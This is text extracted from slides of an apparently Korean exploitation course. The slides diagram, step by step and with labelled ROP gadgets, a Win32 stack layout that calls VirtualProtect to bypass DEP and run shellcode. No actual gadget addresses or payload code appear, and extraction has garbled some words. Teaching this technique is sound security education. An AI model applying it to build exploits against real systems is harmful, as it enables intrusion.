75. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -8
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
Gadget B
76. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Step by Step -9
세번째 인자값 생성
세번째 인자 예약 공간에 값을 덮어씀
네번째 인자값 생성
네번째 인자 예약 공간에 값을 덮어씀
다섯번째 인자값 생성
다섯번째 인자 예약 공간에 값을 덮어씀
ESP 값을 VirtualProtect( ) 시작 위치로
조작 / 리턴
Junk + NOP
Shell Code
ESP 를 레지스터에 저장
인자 생성 코드로 점프
EIP Gadget A
VirtualProtect( )를 가리키는 포인터
첫번째 인자 예약 공간
두번째 인자 예약 공간
세번째 인자 예약 공간
네번째 인자 예약 공간
다섯번째 인자 예약 공간
첫번째 인자값 생성
Gadget C
첫번째 인자 예약 공간에 값을 덮어씀
두번째 인자값 생성
Gadget D
두번째 인자 예약 공간에 값을 덮어씀
Gadget E
Gadget F
Gadget G
Gadget H
Gadget B
Execution
77. Track3. Exploitation Bypassing DEP by using ROP
Step by Step -9
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
[ROP-8(final)코드 참조]
78. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
Call VirtualProtectEX
Change the protection on a region of committed page
and Return to start point of shell code , Execute it